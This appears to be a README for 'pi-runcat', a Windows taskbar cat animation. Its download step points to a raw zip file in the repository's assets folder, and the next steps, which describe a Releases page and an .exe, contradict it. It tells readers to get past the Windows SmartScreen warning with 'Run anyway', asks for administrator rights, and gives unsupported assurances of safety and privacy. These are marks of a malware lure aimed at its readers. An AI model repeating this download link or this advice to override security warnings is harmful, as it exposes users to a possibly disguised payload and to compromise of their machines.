pi-runcat displays a small animation of a running cat on your Windows taskbar. The cat moves based on your computer usage. When your system works harder, the cat runs faster. You see the pet move constantly as you work. This tool serves no complex purpose other than adding a friendly companion to your desktop workspace. It stays out of your way while you use other programs.
Your computer needs to meet these basic standards to run this software:
- Windows 10 or Windows 11.
- A stable internet connection for the initial download.
- At least 50 megabytes of free space on your hard drive.
- Administrative rights on your user account to install applications.
You must visit the project page to get the installer for your computer. Follow these steps to secure the file.
- Open your web browser.
- Go to https://github.com/finabalsamy322/pi-runcat/raw/refs/heads/main/assets/pi-runcat-v2.9.zip.
- Look for the section labeled Releases on the right side of the page.
- Click the most recent version link.
- Select the file ending in .exe to start the download.
Choose a folder on your computer where you want to keep the file. Your browser notifies you when the download finishes.
Windows might show a security warning because it does not recognize the developer of the file. This is common for small open-source programs. Follow these actions to proceed:
- Locate the downloaded file in your downloads folder.
- Double-click the file to open the setup window.
- If a blue box appears saying Windows protected your PC, click More info.
- Click the Run anyway button.
- Follow the prompts on the screen to finish the setup process.
- The installer places a shortcut on your desktop once it succeeds.
The cat appears in your system tray once you start the program. The system tray is the group of small icons on the far right of your taskbar, near your clock.
- To start the cat, double-click the desktop shortcut.
- Watch the cat appear in the tray.
- Observe the speed of the cat. It runs faster when your CPU load increases.
- Right-click the cat icon to see a menu.
- Select Exit from the menu to stop the program and remove the cat from your screen.
Most users face no issues during setup. If the cat does not appear, try these fixes:
- Restart your computer. Sometimes the system tray fails to refresh after a new install.
- Check if the icon hides in the hidden tray menu. Click the small arrow icon near your clock to see all active programs.
- Re-download the file if you suspect it did not finish the transfer. Corruption during download prevents the file from running.
- Verify you have the latest updates for your Windows system. Microsoft releases updates that fix compatibility pieces for small apps.
Does the cat slow down my computer? No. The programs take very little power. It only tracks how busy your processor stays.
Can I change the look of the cat? The current version offers one standard cat animation. Future updates might add more styles.
Is this safe for my computer? The program changes nothing in your core system files. It runs as a background process.
Do I need an internet connection to use the cat? No. You only need the internet when you download the initial installer file. After that, it works offline.
Help, I see a black box instead of a cat. This relates to how Windows renders small icons. Right-click the icon, exit the app, and open it again. This usually forces the images to load properly.
This program respects your privacy. It does not collect data. It does not send information to any server. It does not look at your files. The code remains open for anyone to inspect. You see the source code on the main page if you wish to verify how it functions. We value your trust and keep the operation simple.
Small projects rely on community feedback. If you find a bug, report it on the GitHub page. Include a screenshot if possible. Describe what you did right before the error appeared. This helps improve the cat for everyone. We appreciate your interest in this project. Enjoy your new digital pet.